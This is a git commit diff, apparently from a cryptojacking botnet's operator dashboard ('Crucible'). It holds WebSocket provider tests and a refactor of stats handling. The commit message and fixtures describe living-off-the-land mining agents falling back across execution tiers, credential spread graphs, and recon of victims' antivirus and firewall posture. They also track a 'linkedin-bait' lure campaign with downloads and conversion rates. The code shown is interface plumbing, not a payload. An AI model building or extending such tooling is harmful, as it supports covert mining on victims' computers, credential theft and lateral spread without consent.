Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -232,4 +232,108 @@ describe('WebSocketProvider', () => {
unmount();
expect(closeSpy).toHaveBeenCalled();
});
it('applies stats_batch mining fields to agents', async () => {
const agent = mockAgent({ id: 'batch-1', active_method: undefined });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
latestSocket().emitMessage({
type: 'stats_batch',
payload: {
updates: [
{
agent_id: 'batch-1',
hashrate_15s: 250,
hashrate_1m: 240,
hashrate_15m: 230,
cpu_usage_pct: 55,
active_method: 'inprocess',
stratum_overlay: true,
chain_exhausted: false,
mining_hashrate: 850,
lotl_tier: 'tier-2',
},
],
},
});
});
expect(result.current.agents[0].hashrate_15s).toBe(250);
expect(result.current.agents[0].active_method).toBe('inprocess');
expect(result.current.agents[0].stratum_overlay).toBe(true);
expect(result.current.agents[0].mining_hashrate).toBe(850);
expect(result.current.agents[0].lotl_tier).toBe('tier-2');
});
it('applies stats_batch lotl_attempts to agents', async () => {
const agent = mockAgent({ id: 'batch-lotl' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({ type: 'init', payload: { agents: [agent] } });
latestSocket().emitMessage({
type: 'stats_batch',
payload: {
updates: [
{
agent_id: 'batch-lotl',
hashrate_15s: 100,
hashrate_1m: 100,
hashrate_15m: 100,
cpu_usage_pct: 10,
lotl_tier: 'cpu_inprocess',
lotl_attempts: [
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 600 },
{ tier: 'cpu_inprocess', ok: true, duration_ms: 1100 },
],
},
],
},
});
});
expect(result.current.agents[0].lotl_tier).toBe('cpu_inprocess');
expect(result.current.agents[0].lotl_attempts).toHaveLength(2);
expect(result.current.agents[0].lotl_attempts?.[1].ok).toBe(true);
});
it('applies emberwake_war_room WS payload', async () => {
const warRoomPayload = {
generated_at: '2026-06-06T15:00:00.000Z',
days: 7,
campaigns: [
{
campaign: 'linkedin-bait',
hits: 42,
downloads: 10,
agents: 3,
online: 2,
hashrate: 1500,
conversion_pct: 7.1,
daily_hits: [1, 2, 3, 4, 5, 6, 7],
},
],
};
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
latestSocket().emitMessage({
type: 'emberwake_war_room',
payload: warRoomPayload,
});
});
expect(result.current.latestMessage?.type).toBe('emberwake_war_room');
expect(result.current.latestMessage?.payload).toEqual(warRoomPayload);
expect(result.current.latestMessage?.payload.campaigns[0].campaign).toBe('linkedin-bait');
expect(result.current.latestMessage?.payload.campaigns[0].hits).toBe(42);
});
});

View File

@@ -1,9 +1,11 @@
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import { WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import { applyStatsUpdates } from '../help/applyStatsUpdate';
import type {
WSDashboardInit,
WSAgentOffline,
WSStatsUpdate,
WSStatsBatch,
WSCommandResult,
WSAgentLog,
WSPolicyAck,
@@ -172,64 +174,14 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === update.agent_id);
if (idx < 0) return prev;
if (agentStatsUnchanged(prev[idx], update)) return prev;
return prev.map((a) =>
a.id === update.agent_id
? {
...a,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
shares_total: update.shares_submitted ?? a.shares_total,
shares_good: update.shares_accepted ?? a.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? a.shares_total) -
(update.shares_accepted ?? a.shares_good)
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
}
: a,
);
});
setAgents((prev) => applyStatsUpdates(prev, [update]));
break;
}
case 'stats_batch': {
const batch = msg.payload as WSStatsBatch;
if (Array.isArray(batch?.updates) && batch.updates.length > 0) {
setAgents((prev) => applyStatsUpdates(prev, batch.updates));
}
break;
}
case 'new_share': {